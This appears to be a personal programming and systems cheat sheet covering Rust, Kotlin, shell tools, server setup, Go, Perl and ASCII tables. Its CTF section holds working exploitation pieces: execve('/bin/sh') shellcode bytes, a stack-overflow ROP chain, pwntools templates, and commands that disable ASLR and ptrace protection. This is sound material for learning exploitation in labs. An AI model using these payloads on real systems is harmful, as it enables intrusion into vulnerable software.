        String::clone(self.username)
    }
}

enum Message {
    Quit, // unit
    Move { x: i32, y: i32 }, // struct-like
    Write(String),
    ChangeColor(i32, i32, i32), // tuple-like
}

enum Option<T> {
    Some(T),
    None,
}

// impl also takes type variables
impl<T> Point<T> {
    fn x(&self) -> &T {
        &self.x
    }
}

conversions and ownership acrobatics

Fake function types.
Option<T>.unwrap_or(self, T) → T
Option<T>.unwrap_or_default(self) → T where T: Default

&Option<T>.is_some(&self) → bool
&Option<T>.is_none(&self) → bool

Option<T>.map_or(self, U, T → U) → U
Option<T>.and_then(self, T → Option<U>) → Option<U>
Option<T>.ok_or(self, E) → Result<T, E>

Option<T>.unwrap(self) → T (or panic!)
Option<T>.expect(self, &str) → T (or panic!)

&mut Option<T>.take(&mut self) → Option<T>
Option<&T>.copied(self) → Option<T>
Option<&T>.cloned(self) → Option<T>
Result<T, E>.ok(self) → Option<T>
Result<T, E>.err(self) → Option<E>

Result<T, E>.unwrap_or(self, T) → T
Result<T, E>.unwrap_or_default(self) → T where T: Default

Result<T, E>.map_or(self, U, T → U) → U
Result<T, E>.map_or_else(self, E → U, T → U) → U // note the order!
Result<T, E>.and_then(self, T → Result<U, E>) → Result<U, E>

Result<T, E>.unwrap(self) → T (or panic!)
Result<T, E>.expect(self, &str) → T (or panic!)

&Result<T, E>.as_ref(&self) → Result<&T, &E>
&mut Result<T, E>.as_mut(&mut self) → Result<&mut T, &mut E>

Vec

&Vec<T>.len(&self) → usize
// Both type signatures below are fake, you can also slice.
&Vec<T>.get(&self, usize) → Option<&T>
&mut Vec<T>.get_mut(&mut self, usize) → Option<&mut T>

&mut Vec<T>.push(&mut self, T)
&mut Vec<T>.extend(&mut self, IntoIterator<T>) // via Extend<T>

// Pass .. or a..b. Creates iterator (holding a mut ref) that removes that
// range and yields its elements.
&mut Vec<T>.drain(&mut self, RangeBounds<usize>)

&mut Vec<T>.remove(&mut self, usize) → T (or panic!) (shifts things left)
&mut Vec<T>.swap_remove(&mut self, usize) → T (or panic!) (swaps with last element)
&mut Vec<T>.pop(&mut self) → Option<T>

// In particular &v[..], &mut v[..] are slices.

a[b] is sugar for the Index trait, with .index(). Panics if OOB!!
mem::drop(T)
mem::replace(&mut T, T) → T
mem::take(&mut T) → T where T: Default
mem::swap(&mut T, &mut T)

iterators

for e in seq { ... } is always sugar for iterating over seq.into_iter(), but many containers have separate implementations of into_iter for T, &T, &mut T. into_iter() is idempotent on iterators.

for e in 0..n { ... }
for e in 1..=n { ... }
for e in &seq { ... } // seq.iter() (by convention!)
for e in &mut seq { ... } // seq.iter_mut() (by convention!)
for e in seq { ... } // seq.into_iter()

Let T = Self::Item. Type signatures are extremely fake (Iterator and IntoIterator have Item as an output "associated type" rather than an input "type parameter". So an example way to take an iterator:)

fn next_two<A: Iterator>(mut a: A) -> (Option<A::Item>, Option<A::Item>) {
    (a.next(), a.next())
}

You might want to use <A as Iterator>::Item sometimes? Idk.

Manual iteration:

.next() → Option<T>
. The standard lazy toolkit:

.map(T → B) → Iterator<B>
.flat_map(T → (U: IntoIterator<B>)) → Iterator<B>
.flatten() → Iterator<B> where T: IntoIterator<
.zip(U: IntoIterator<B>) → Iterator<(T, B)>
.copied() → Iterator<B> where T = &B, B: Copy
.cloned() → Iterator<B> where T = &B, B: Clone

// note the extra reference in the predicate arguments
.filter(&T → bool) → Iterator<T>
.take_while(&T → bool) → Iterator<T>
.skip_while(&T → bool) → Iterator<T>
.find(&T → bool) → Option<T>

&mut .position(T → bool) → Option<usize>

.filter_map(T → Option<B>) → Iterator<B>

.fold(self, B, (B, T) → B) → B
.reduce(self, (T, T) → T) → Option<T> // "fold1"

.enumerate() → Iterator<(usize, T)>

// on &mut!!
.nth(usize) → Option<T> (skips n, then gives you next)

.take(usize) → Iterator<T>
.skip(usize) → Iterator<T>

// only on DoubleEndedIterator
.rev()

Consumers:

.count() → usize
.for_each(T → ())

.any(T → bool) → bool
.all(T → bool) → bool

// You can sum/product numeric types, and Options/Results thereof (monadically)
.sum() → S where S: Sum<T>
.product() → P where P: Product<T>

.max(), .min() → Option<T> where T: Ord
.max_by, .min_by((T, T) → Ordering) → Option<T>
.max_by_key, .min_by_key(T → B) → Option<T> where B: Ord

.collect>B>(self) → B where B: FromIterator<T>

// B is often explicitly specified (with the "turbofish")
// You can use Vec<_> (or many other collections)
// collect String from char
// collect String from String (!)
// if collect C from T, then collect Option<C> from Option<T>
// if collect C from T, then collect Result<C, E> from Result<T, E>
To write a consumer, trait bound by Iterator<Item=Foo> or something.

closures

Use vertical bars.
let cap = 1;
|arg: Foo| { arg + cap }
Closures capture as weakly as possible (ref, then mut ref, then own). If you want to move, use the move keyword. To move some and not others, put a reference in a separate variable and move that.
move |arg: Foo| { arg + cap }
Every closure that captures something is its own type (just like in C++). So to consume, you want a trait bound (in any of the below syntaxes):
fn foo<F>(f: F) where F: Fn(Foo) -> Bar
The traits are Fn, FnMut, FnOnce. On the other hand, closures that don't capture anything are "plain function pointers" of the concrete type fn(Foo) -> Bar.

stuff

"trait bound"
pub fn notify(item: impl Summary) {
    println!("Breaking news! {}", item.summarize());
}
// is syntax sugar for
pub fn notify<T: Summary>(item: T) {
    println!("Breaking news! {}", item.summarize());
}
// is syntax sugar for
pub fn notify<T>(item: T) where T: Summary {
    println!("Breaking news! {}", item.summarize());
}

pub fn notify(item: impl Summary + Display) {
pub fn notify<T: Summary + Display>(item: T) {

fn some_function<T, U>(t: T, u: U) -> i32
    where T: Display + Clone,
          U: Clone + Debug
{ ... }
Where where:
fn other_function<T>(t: T) -> i32
    where Option<T>: Debug
{ ... }
These all monomorphize at compile time (?)

Kotlin

Written in a hurry for a certain Codeforces contest. There's more here than Scala because I learned Scala more slowly and systematically by actually writing a Scala project.

Variables and Types

val, var, fun. Types are postfix with colon. Unit is void and can be omitted. You've seen this before in Scala except for fun.

fun sum(a: Int, b: Int): Int {
	return a + b
}
fun sum(a: Int, b: Int): Int = a + b

You can call functions with named default arguments like f(arg = param).

Strings template with $foo like Perl or ${foo} like JavaScript template literals.

instanceof is is: obj is String. The inverse is !is. Casting is as??

Expressions

if (c) a else b

if (x in 1..5) { print(x) }. Inverse is !in. for (x in 1..5) { print(x) }, for (x in 9 downTo 9 step 3) { print(x) }. Ranges are inclusive as in Haskell.

Functions and Lambdas

Everything in braces: { arg1, arg2 -> arg1 + arg2 }. Fast single-argument anonymous functions use it: ints.filter { it != 0 }. More explicitly you can write fun(arg: T): T { return arg }.

The type of a function is (A1, A2) -> R.

Note that to use a function declared not-inline as fun foo() { ... } as a value, you write ::foo.

Nullability

T? basically means nullable T. T looks like a subtype of T?, and control flow narrows the type

a?.b is null if a is null, a.b otherwise

a ?: b (the "Elvis operator") is b if a is null, a otherwise

a!! asserts that a is not null and gets it.

a as? T casts a to T, returning null if it fails.

Unclear if this goes here, but str.toIntOrNull() is a null-safe version of str.toInt().

Classes

Similar to Scala again. Everything starts with a constructor signature and the class body is the constructor. You can have multiple constructors though, with constructor, but they must call the main constructor (possibly through other constructors). You can make the constructor arguments public properties with val/var.
class Foo(bar: T, val baz: U) {
}
Kotlin's data classes are in the same vein as Scala's case classes, a difference being that you still need to explicitly write val on everything. The nice methods like equals get written for you.

Stuff

ArrayList and stuff work. You can also use [] indexing.

Shell

how do you server

# these might assume Ubuntu
adduser example
adduser example sudo

# log in as example, put entry in ~/.ssh/authorized_keys
# edit /etc/ssh/sshd_config to say:
PasswordAuthentication no
sudo systemctl restart sshd
sudo vim /etc/nginx/conf.d/your.website.com.conf
sudo nginx -s reload
server {
    listen 80; # port
    listen [::]:80; # ipv6 port

    # serve static content
    root /path/to/static-content-folder;
    index index.html; # can list more than one

    location /special-static/ {
        alias /path/to/special/folder/;
    }
}
server {
    listen 443 ssl;
    listen [::]:443 ssl ipv6only=on; # ??

    # Certbot should deal with these
    ssl_certificate /path/to/fullchain.pem;
    ssl_certificate_key /path/to/privkey.pem;
    include /path/to/options-ssl-nginx.conf;
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
Reverse Proxy: inside a server {}:
location /someexactpath/ {
    proxy_pass http://localhost:12345/;
    proxy_buffering off;
}

# or location ~* ^/somepath/ { }

location /idk/ {
    proxy_pass http://localhost:12345/;
    proxy_buffering off;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "Upgrade";

    # by default nginx sets Host to $proxy_host
    proxy_set_header Host $host;
    proxy_read_timeout 7200;
}
sudo ufw app list // this does NOT mean what's allowed in lol
sudo ufw status
sudo ufw allow 8073
sudo ufw allow http
sudo ufw allow https
sudo ufw allow ssh
sudo ufw allow mosh

The opposite of allow is deny, but to undo typing one of the above you type delete and then the rule again, e.g. ufw delete allow 8073

ssh

ssh-keygen -t rsa -b 4096 -t ed25519 [-f ~/.ssh/filename] [-C [email protected]]

View the public host key you have stored for a server: ssh-keygen -H -F hostname.example.com[:port] (the hostnames are normally hashed so you can't just list all known hostnames)

Delete it: ssh-keygen -R hostname.example.com[:port]

The server's keys might be in /etc/ssh.

ssh-copy-id -i ~/.ssh/filename user@host

ssh -i ~/.ssh/filename user@host

misc

ffmpeg -i input-video.avi -vn -acodec copy output-audio.aac # -vn is no video. -acodec copy says use the same audio stream
ffmpeg ... -filter:v crop=w:h:x:y,scale=w:h
ffmpeg -i input.mkv -filter:v "setpts=0.125*PTS" -filter:a "atempo=2.0,atempo=2.0,atempo=2.0" output.mkv

choose what to auto open something with: mimeopen somefile weird type: inode/mount-point

sudo dpkg -i foo.deb; sudo apt install -f

version: lsb_release -a

ssh [email protected] "gzip -c /home/user/bigfile" > backup-(date +%F-%T).db.gz

ssh [email protected] mysqldump --user=some_user --password=some_password --host=some_host.db --databases some_database | gzip > backup-(date +%F-%T).sql.gz

df (about file systems, used/avail %) -h human-readable powers of 1024

ls

tar

find . -printf '%s\t%p\n' | sort -n or | sort -nr | head -10 du | sort -g

tr 'a-z' 'n-za-m', or tr -d ' ' to delete things.

timezones on some flavors of Linux: sudo dpkg-reconfigure tzdata

wget -r -np -k example.com

sudo echo foo > privileged_file does not work, try echo foo | sudo tee privileged_file or sudo sh -c 'echo foo > privileged_file'. related vim hack, if you accidentally opened a privileged file read-only and edited: :w !sudo tee %

tee takes -a/--append, analogue of >>

scp [email protected]:foobar.txt /some/local/directory
scp foobar.txt [email protected]:/some/remote/directory

scrot

random debugging/file-rescuing things

df

fsck

smartctl (sudo smartctl -x /dev/something, maybe truncate n#p#?)

journalctl: queries systemd journal maybe -k -b -1. -k is kernel only. -b -1 is a number, last boots are -0, -1... and first boots are 1, 2... -e to page to end automatically; -r reverses; -f follows.

dmesg

lsblk

sudo usb-creator-gtk (gui)

grep and friends

Syntax: grep pattern files...

options everybody knows

grep

ack

ag

rg

sed, awk...

sed s/foo/bar/
sed s/foo/bar/g
sed 's/foo\(.\)/bar\1/g'
sed -E 's/\d/\1\1/g'
sed -n /foo/p # just grep
sed -n s/foo/bar/p # only print subbed lines

Each awk command(?) is pattern { action }. pattern could be empty to do something every line, BEGIN, END, /pattern/, expression like NF > 2. $0 is the entire line (record), $1 is the first (1-indexed) field (whitespace-separated; use -F to specify a separator, which maybe can be empty to have each character its own field), etc. Lots of C-like math ("1" + "2" == 3, but "10" < "2", use unary +), but not bitwise operators; juxtaposition is concatenation; x ~ /foo/; NF number of fields ($NF for last field, $(NF-1)...), NR is number of records (lines) (so far). Variables can be used ex nihilio; they default to "", which converts to 0.

awk '{ x += $1 } END { print x }'
awk -F ',' '/aaa/ { print $3 }' data.csv | gnuplot -p -e "plot '-'"

identify and convert (ImageMagick)

Usage

Snippet to get name, height, width in format of an HTML tag: identify -format '<img src="%f" width="%w" height="%h" />' $argv

Crop

convert dragon.gif -crop 40x30+10+10 +repage crop_dragon.gif

Resize

convert dragon.gif -resize 64x64 resized_dragon.gif

This resizes the gif, preserving aspect ratio, so that it is as large as possible while fitting in a 64x64 box (one dimension = 64, the other ≤ 64). Variants (which often need to be escaped for the shell to see them):

These characters are just flags that affect the entire -resize. Location doesn't matter. 50%x30 doesn't work.

shell polyglot

a "$(b)"
Combining commands
a && ba; and b
a || ba; or b
a $(b) will be word-split and path-expandeda (b | string split " ")
a (b)
History
!-(number) # nth most recent command
!-1 !!
!$ # last argument of most recent command
^old^new^ # substitute old → new in last command, then re-run it
(use arrow keys)
Redirection
>outfile
2>errfilealso works, or ^errfile
2>&1also works, or ^&1
2>&1also works, or ^&1
2>&1 >/dev/null or whatevera 2&| b
a <(b)a (b | psub)
Variables
var=valueset var value
array=(one two three)set array one two three
export var=valueset -x var value (-x ≡ --export)
unset varset -e var (-e ≡ --erase)
  • no flag: honors existing scope, otherwise local to function)
  • -l / --local: to current block
  • -g / --global
  • -U / --universal: persists across users, restarts
"$@"
$1 $2 ... ; $# is count; "$*" is all args space-concatenated
$argv (array)
$0$_ (currently running command)
$?$status
$HOME
$PWD
$USER (not technically bash built-in)
$PATH (array in fish)
Arrays and data
seq 5 → 1 2 3 4 5 (not bash built-in, write a loop if you don't have seq)
${#str}string length $str
${#array[@]}count $array
[[ bool_expr ]] (better than [ ... ])test bool_expr ([ ... ] works too but dispreferred)
    • -e file # file exists
    • -d file # is directory
    • -f file # is regular file (not directory)
    • -s file # size not zero
    • str1 = str2 or == in bash
      • In [[ ]], the RHS is a glob pattern, so e.g. 'foobar' = 'f*r'. To do this in fish, string match --quiet 'f*r' 'foobar'.
    • str1 != str2
    • -n str1 # length != 0 i.e. nonempty
    • -z str1 # length == 0 i.e. empty
  • num1 -eq num2 (-ne, -gt, -ge, -lt, -le)
    • ! bool1
    • (test, [ ]) bool1 -a bool2, bool1 -o bool2
    • ([[ ]]) bool1 && bool2, bool1 || bool2a
  • ( ) for grouping (probably need to escape it)
$((1 + 2)) # no need for $-prefixing var namesmath -- 1 + 2 # thin wrapper for bc; use -- to avoid negative numbers becoming flags
control flow i guess?
if ...; then
...
elif ...; then
...
else
...
fi
if ...
...
else if ...
...
else
...
end
for v in 1 2 3
do
echo $v
done
for v in 1 2 3
echo $v
end
case ... in
pattern1)
...
;;
pattern2)
...
;;
*)
...
esac
switch ...
case pattern1
...
case pattern2
...
case '*'
...
end

path manipulation

basename /path/to/foo → foo
basename /path/to/foo.cpp .cpp → foo
dirname /path/to/foo → /path/to
dirname foo → .

strftime

man date:

| date        %F = %Y-%m-%d = 2013-09-27
|             %D = %m/%d/%y = 09/27/13
|
|   year    | %Y = 2013, %C = 20, %y = 13
|   month   | %m = 09, %b = %h = Sep, %B = September
|   day     | %d = 27, %e = %_d
|   of week | %a = Fri, %A = Friday
|
|         %j = 001..366
|
| time           %T = 13:37:42
|                %r = locale's 01:11:04 PM
|   h:m        | %R = 13:37
|       hour   | %H = (00..23), %I = (01..12); %k = %_H, %l = %_I
|              |                %p = AM/PM, %P = am/pm
|       minute | %M = 37
|       second | %S = (00..60)

ISO time (more or less): %Y-%m-%dT%H:%M:%S%z = %FT%T%z

nano

^G Get help
^X close
^O (write Out): save the file
^S save with no prompt

^W ("where?"): search
^Q ("where?"): search back
^\ replace

M-A / ^6: MArk (visual mode)
M-} (or Tab): indent
M-{ (or Shift-Tab): dedent

M-^ copy line
^K (Kill): cut line
^U (Uncut): uncut line

M-U undo
M-E Redo

M-: start/stop recording macro
M-; do macro

M-# line numbers
M-P whitespace
M-Y color

sql(ite)

this doesn't belong here but idk .tables .schema table_name .headers ON .mode column

mongosh

wow what the field _id is the primary key.
show dbs
use my_db_name
show collections
but really it's just javascript
db.getCollectionNames()
// all args optional:
db.my_collection_name.find(query, projection, options)
query examples:
{ "_id": "foo" }
{ "qty": { "$gt": 4 }}
{ "qty": { "$exists": true }}

thing1 = {"foo": "bar", ...}
db.my_collection_name.insertOne(thing1)
db.my_collection_name.insertMany([thing1, ...])
db.my_collection_name.deleteMany(query)
// query = {}: DELETE EVERYTHING

CTF

python -c 'print "\x12\x34\x56\x78"*50'
edgy:
perl -e 'print "b" x 0x88, "\x12\x34\x56\x78"'

objdump -d executable
file
strings
from __future__ import division, print_function
from pwn import *
import re, sys

# context.arch = "amd64"
# context.terminal = ['tmux', 'splitw', '-h']
# sys.setrecursionlimit(8000)

if args['REMOTE']:
    conn = remote('1.2.3.4', 1337)
else:
    conn = process('executable')
    if args['GDB']:
        gdb.attach(conn, """set disassembly-flavor intel
        b __libc_start_main
        """)

maze_text = conn.recvuntil('(the lower left cell is 0,0)')

goal_res = re.search(r'goal: (\d+), (\d+)', maze_text)
goal = (int(goal_res.group(1)), int(goal_res.group(2)))

conn.sendline('foo')

conn.interactive()

x86

Registers

x86(-32) has eight registers: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI. (x86-64 has 8 more and adds RAX etc.) Also EIP is the instruction pointer.

Stack

| ‹locals/temps›   | <= esp
| ‹locals/temps›   |    esp+8
| ‹locals/temps›   |    ...
| ‹locals/temps›   |    ebp-8
| ‹old ebp›        | <= ebp
| ‹return address› |    ebp+8
| ‹arguments?›     |    ebp+16

The stack grows "downward in memory" i.e. toward lower addresses, so if we write the stack memory by increasing memory addresses as usual, the metaphorical top of the stack coincides with the top.

Words

64(----------------RAX-----------------)
                    32(------EAX-------) (DWORD)
                              16(--AX--) (WORD)
                              8(AH)8(AL) (BYTE)

x86 is little-endian: least-significant byte first.

Calling Conventions

Different OS’s have different syscalls.

reference dive

Nothing takes immediate of more than 32 bits.

Offset = base (register) + (index (register) * base(1, 2, 4 or 8)) + displacement (none to 32 bits)

Important Opcodes

Registers in order:

rax rcx rdx rbx rsp rbp rsi rdi
r8  r9  r10 r11 r12 r13 r14 r15

e8: call (4 bytes: relative address)
e9: jmp (4 bytes: relative address)
eb: jmp (1 byte: relative address)
c3: ret

For a lot of operations between two 64-bit registers, the bytecode has three bytes like so:

0b01001S0D 0bXXXX1001 0b11SSSDDD

where the four X bits control the opcode, the four S bits control the source register, the four D bits control the destination register:

01: add
09: or
11: adc
19: sbb
21: and
29: sub
31: xor
39: cmp

   31 (c0 + 8*src + dst): xor reg, reg
   31 c0: xor eax, eax
   31 c1: xor ecx, eax
   31 c8: xor eax, ecx
   31 d2: xor edx, edx
48 31 c0: xor rax, rax
4c 31 c0: xor rax, r8
49 31 c0: xor r8, rax
4d 31 c0: xor r8, r8

b8 (4 bytes): mov literal into eax
48 c7 c0 (4 bytes): mov literal into rax
49 c7 c0 (4 bytes): mov literal into r8

50-57, 41 50-57: push reg (50: push rax; 41 50: push r8)
58-5f, 41 58-5f: pop  reg (58: pop rax;  41 58: pop r8)

(16-bit mode??)

55: push bp
89 e5: mov bp, sp

ModR/M, SIB

mod r/m: 5 bits, eight registers and 24 addressing modes
reg/opcode: either register number or three more bits of opcode

Vol. 2A page 2-5.

sib byte: scale, index, base.

GDB

break __libc_start_main
break *0x12345678 // given address from radare2 or something
run

Instructions

Source lines (rare)

Breaking

Examining

Writing

set var is safer because set has subcommands e.g. set g=4 is set gnutarget =4

Hacking

Watchpoint

Use the same commands as breakpoints to query/delete/disable/enable: i b/info breakpoints, d/delete [num], dis/disable [num], enable [num].

There's a hardware limit on how many hardware watchpoints you can set. You can make GDB use software watchpoints with set can-use-hw-watchpoints 0 but it is very slow.

Config

Shellcode

shell-storm.org/shellcode: Most likely you want Dad`'s 27-byte shellcode which is "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".

from pwn import *
context.arch = "amd64"

shellcode = asm("""
    mov eax, 0x3b
    mov rdi, 0x1234567890ab ; ptr to "/bin/sh\0"
    xor rsi, rsi
    xor rdx, rdx
    syscall
""")
Use shellcraft if you don't want to write your own assembly. Concatenate this with the other assembly and pass into asm:
shellcraft.amd64.mov('rax', 0x12345678)
shellcraft.amd64.pushstr('foobar', append_null=False)

fd = 4; length = 128
shellcraft.amd64.linux.syscall('SYS_write', fd, 'rsp', length)
shellcraft.amd64.linux.syscall('SYS_read',  fd, 'rsp', length)

ROP

gdb:
break somewhere
print system

Executables link against your copy of libc. execve is the most useful.

execve("/bin/sh", 0, 0)

32-bit goal

64-bit goal

one_gadget will find single places in libc you can jump after possibly setting up some constraints for you. If it's cheap, try all of them without worrying about constraints first. Otherwise ROPgadget --binary some_executable

TechSec ROP

This is statically linked so nice. Find gadgets with ROPgadget --binary rop. Look for good things. These are good:
0x080b9236 : pop eax ; ret
0x0806fd50 : pop edx ; pop ecx ; pop ebx ; ret
0x0806d905 : int 0x80
So chain them like this.
code = 'A' * 36         # 32, plus 4 for ebp
code += p32(0x080b9236) # pop eax ; ret
code += p32(0xb)        # (gets popped into eax)

0x080bc6a5 : "/bin/sh"
fit is probably better:
code = fit({36: p32(0x080b9236) + p32(0xb)}, filler='A')

Dynamic

To ROP on your own machine:
$ ldd leakRop
libc is what you care about. ROPgadget --binary or one_gadget that. If the CTF gives you a libc file, do something like this:
$ LD_PRELOAD=/path/to/my/libc.so ./executable
In GDB:
(gdb) set environment LD_PRELOAD=/path/to/my/libc.so
You may need to use an absolute path. Now, to figure out an address:
readelf -s libc-2.19.so | grep puts@

	puts is 0005fca0
To test: Fire up gdb, do,
break main
info proc mappings
r < <(python payload.py)

Step through with nextcall or finish.

In 64-bit you use the standard %edi, %esi stuff. In 64-bit the instruction is actually syscall; in 32-bit it's int 0x80.

Important 64-bit Syscalls

opcode is %rax; args are %rdi, %rsi, %rdx, %r10, %r8, %r9.

ASLR

Randomizes:

Check if enabled with /proc/sys/kernel/randomize_va_space (it's usually on).

PIE will additionally put the code in a random place? I think GDB turns all of these off and puts them at fixed offsets. info proc mappings is your friend and will tell you the base addresses where stuff were put. Once you've gotten an exploit working under GDB and identified a leak to the stack or libc or the one you want, do simple arithmetic translation to figure out the proper addresses.

Pwntools

enhex, unhex
concat, concat_all, findall
group(n, seq, underfull_action=['ignore'|'drop'|'fill'])
ordlist, unordlist

p8, p16, p32, p64 (  pack: int → bytes)
u8, u16, u32, u64 (unpack: bytes → int)

    You can pass endian='little'|'big', sign=False|True

more(text), yesno(text)
pwn checksec pwn hex pwn unhex

virtualbox shared folder because i have nowhere else to put this

Path: path on the host / Name: somename
sudo mount -t vboxsf -o uid=$UID,gid=$(id -g) somename ~/portal
Fish:
sudo mount -t vboxsf -o uid=(id -u),gid=(id -g) somename ~/portal

radare2

Preliminaries

Install radare2, it’ll be available as r2. Load an executable prog like r2 prog. radare2 will print a random funny message on startup, sometimes it’s confusing if you’re not used to it.

[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;

radare2 has a "current offset" displayed in the prompt, and is in the magic variable $$

Startup Commands

radare2 commands are weird strings of single letters. Start by issuing aaa or aaaa to analyze the file. More a’s is more analysis but four a’s is experimental.

Run afl to list all the functions in the program.

Disassembling and Reading Disassembly

To disassemble a function main, run pdf@main. To get the output in a pager so you can scroll with the keyboard, append ~..; here you’d run pdf@main~...

Note: If there’s a period after the bytes corresponding to an instruction, then radare2 isn’t showing you all the bytes corresponding to that instruction because, I’m not sure, it doesn’t fit in the horizontal space?

In general pd disassembles stuff, pd3@5. idk? pdf disassembles the function.

Patching

Might need to make the executable writable and open with r2 -w.

https://github.com/radare/radare2/blob/master/doc/intro.md

Debugging/Running

r2 -d foo

other stuff

magic

00 00 01 00 - ICO
1F 9D - LZW zip
1F A0 - LZH zip
42 5A 68 "BZh" - Bzip2
"GIF87a", "GIF89a" - GIF
49 49 2A 00 - TIFF, little endian
4D 4D 00 2A - TIFF, big endian
FF D8 FF DB "ÿØÿÛ" - JPEG
FF D8 - other JPEG formats
50 4B [03 04] "PK.." - zip and family (jar, docx...)
52 61 72 21 "Rar!" - RAR
7F 45 4C 46 - .ELF

environment setup

function ptrace_scope_off
	echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
end
function ptrace_scope_on
	echo 1 | sudo tee /proc/sys/kernel/yama/ptrace_scope
end
function aslr_off
	echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
end
function aslr_on
	echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
end
function hexmath
	math "obase=16;ibase=16;$argv"
end

Go

Types

bool // true, false
uint8 uint16 uint32 uint64 uint (32 or 64)
int8 int16 int32 int64 int (32 or 64)
float32 float64
uintptr
byte = uint8
rune = int32
string
[10]int
[]byte
map[int]string // map from int to string

(channels)

type A = string // alias; they're exactly the same type
type B string   // type definition (newtype): distinct from string, but convertable
type Point struct { x, y float64 }
i := x.(int)     // type assertion (panic if fail; i is now of type int)
i, ok := x.(int) // safe type assertion (ok is false if fail)
switch i := x.(type) {
case int:
	// i is an int
case bool, string:
	// i is a bool or string
default:
	// idk
}

Literals

&Point{1, 2} is valid but e.g. &1 is not
[]T{x1, x2, ..., xn}

a := make([]T, 10) // slice of length 10
m := make(map[T]U) // empty map
append(a, t1, t2, t3) append(a, a...)

value := m[key]
value, exists := m[key]
delete(m, key)

Varargs

func F(stuff ...string)
stuff := []string{"a", "b"}
F(stuff...)

Perl

Command-Line Flags

perlrun or perldoc perlrun

Switch-clustering is OK. #!/usr/bin/env perl -flagstuvwxyz

switchmeaning
-eeval code from command-line argument
-nrun against every line of file(s) from command line (current filename will be in $ARGV)
-prun against every line + print result
-imodify file in-place
awk-like flags
-lchomp lines + make print statements output record separators (?)
-Fpatternchange
-aautosplit: input fields are placed in @F ($f[0], $f[1]...)

awk note: a file contains records (usually lines), which contain fields (usually whitespace-delimited tokens)

In practice:

A sort of mini-ack clone:

perl -ne'print $ARGV, ":", $_ if /foo/ && /bar/' $(find . -type f)

Using ack's defaults: perl -ne'print $ARGV, ":", $_ if /foo/ && /bar/' $(ack -f)

Ascii

BinOctDecHexCode
010 0000 040 32 20 ␠ (␣)
010 0001 041 33 21 !
010 0010 042 34 22 "
010 0011 043 35 23 #
010 0100 044 36 24 $
010 0101 045 37 25 %
010 0110 046 38 26 &
010 0111 047 39 27 '
010 1000 050 40 28 (
010 1001 051 41 29 )
010 1010 052 42 2A *
010 1011 053 43 2B +
010 1100 054 44 2C ,
010 1101 055 45 2D -
010 1110 056 46 2E .
010 1111 057 47 2F /
011 0000 060 48 30 0
011 0001 061 49 31 1
011 0010 062 50 32 2
011 0011 063 51 33 3
011 0100 064 52 34 4
011 0101 065 53 35 5
011 0110 066 54 36 6
011 0111 067 55 37 7
011 1000 070 56 38 8
011 1001 071 57 39 9
011 1010 072 58 3A :
011 1011 073 59 3B ;
011 1100 074 60 3C <
011 1101 075 61 3D =
011 1110 076 62 3E >
011 1111 077 63 3F ?
BinOctDecHexCode
100 0000 100 64 40 @
100 0001 101 65 41 A
100 0010 102 66 42 B
100 0011 103 67 43 C
100 0100 104 68 44 D
100 0101 105 69 45 E
100 0110 106 70 46 F
100 0111 107 71 47 G
100 1000 110 72 48 H
100 1001 111 73 49 I
100 1010 112 74 4A J
100 1011 113 75 4B K
100 1100 114 76 4C L
100 1101 115 77 4D M
100 1110 116 78 4E N
100 1111 117 79 4F O
101 0000 120 80 50 P
101 0001 121 81 51 Q
101 0010 122 82 52 R
101 0011 123 83 53 S
101 0100 124 84 54 T
101 0101 125 85 55 U
101 0110 126 86 56 V
101 0111 127 87 57 W
101 1000 130 88 58 X
101 1001 131 89 59 Y
101 1010 132 90 5A Z
101 1011 133 91 5B [
101 1100 134 92 5C \
101 1101 135 93 5D ]
101 1110 136 94 5E ^
101 1111 137 95 5F _
BinOctDecHexCode
110 0000 140 96 60 `
110 0001 141 97 61 a
110 0010 142 98 62 b
110 0011 143 99 63 c
110 0100 144 100 64 d
110 0101 145 101 65 e
110 0110 146 102 66 f
110 0111 147 103 67 g
110 1000 150 104 68 h
110 1001 151 105 69 i
110 1010 152 106 6A j
110 1011 153 107 6B k
110 1100 154 108 6C l
110 1101 155 109 6D m
110 1110 156 110 6E n
110 1111 157 111 6F o
111 0000 160 112 70 p
111 0001 161 113 71 q
111 0010 162 114 72 r
111 0011 163 115 73 s
111 0100 164 116 74 t
111 0101 165 117 75 u
111 0110 166 118 76 v
111 0111 167 119 77 w
111 1000 170 120 78 x
111 1001 171 121 79 y
111 1010 172 122 7A z
111 1011 173 123 7B {
111 1100 174 124 7C |
111 1101 175 125 7D }
111 1110 176 126 7E ~
111 1111 177 127 7F Delete
BinOctDecHexCodeDescription
000 0000 000 0 00 ␀ NULNull character
000 0001001 101 ␁ SOHStart of Header
000 0010002 202 ␂ STXStart of Text
000 0011003 303 ␃ ETXEnd of Text
000 0100004 404 ␄ EOTEnd of Transmission
000 0101005 505 ␅ ENQEnquiry
000 0110006 606 ␆ ACKAcknowledgment
000 0111007 707 ␇ BELBell
000 1000010 808 ␈ BSBackspace
000 1001011 909 ␉ HT ↹Horizontal Tab
000 1010012100A ␊ LFLine feed
000 1011013110B ␋ VTVertical Tab
000 1100014120C ␌ FFForm feed
000 1101015130D ␍ CR ↲Carriage return
000 1110016140E ␎ SOShift Out
000 1111017150F ␏ SIShift In
001 00000201610 ␐ DLEData Link Escape
001 00010211711 ␑ DC1Device Control 1 (oft. XON)
001 00100221812 ␒ DC2Device Control 2
001 00110231913 ␓ DC3Device Control 3 (oft. XOFF)
001 01000242014 ␔ DC4Device Control 4
001 01010252115 ␕ NAKNegative Acknowledgement
001 01100262216 ␖ SYNSynchronous idle
001 01110272317 ␗ ETBEnd of Transmission Block
001 10000302418 ␘ CANCancel
001 10010312519 ␙ EMEnd of Medium
001 1010032261A ␚ SUBSubstitute
001 1011033271B ␛ ESCEscape
001 1100034281C ␜ FSFile Separator
001 1101035291D ␝ GSGroup Separator
001 1110036301E ␞ RSRecord Separator
001 1111037311F ␟ USUnit Separator

ANSI Escape

␛[0m. ␛ = chr 27 = \x1b = \033

0 can be replaced by a sequence of semicolon-separated numbers.

NumberEffect
0Reset
1Bold
4Underscore
5Blink
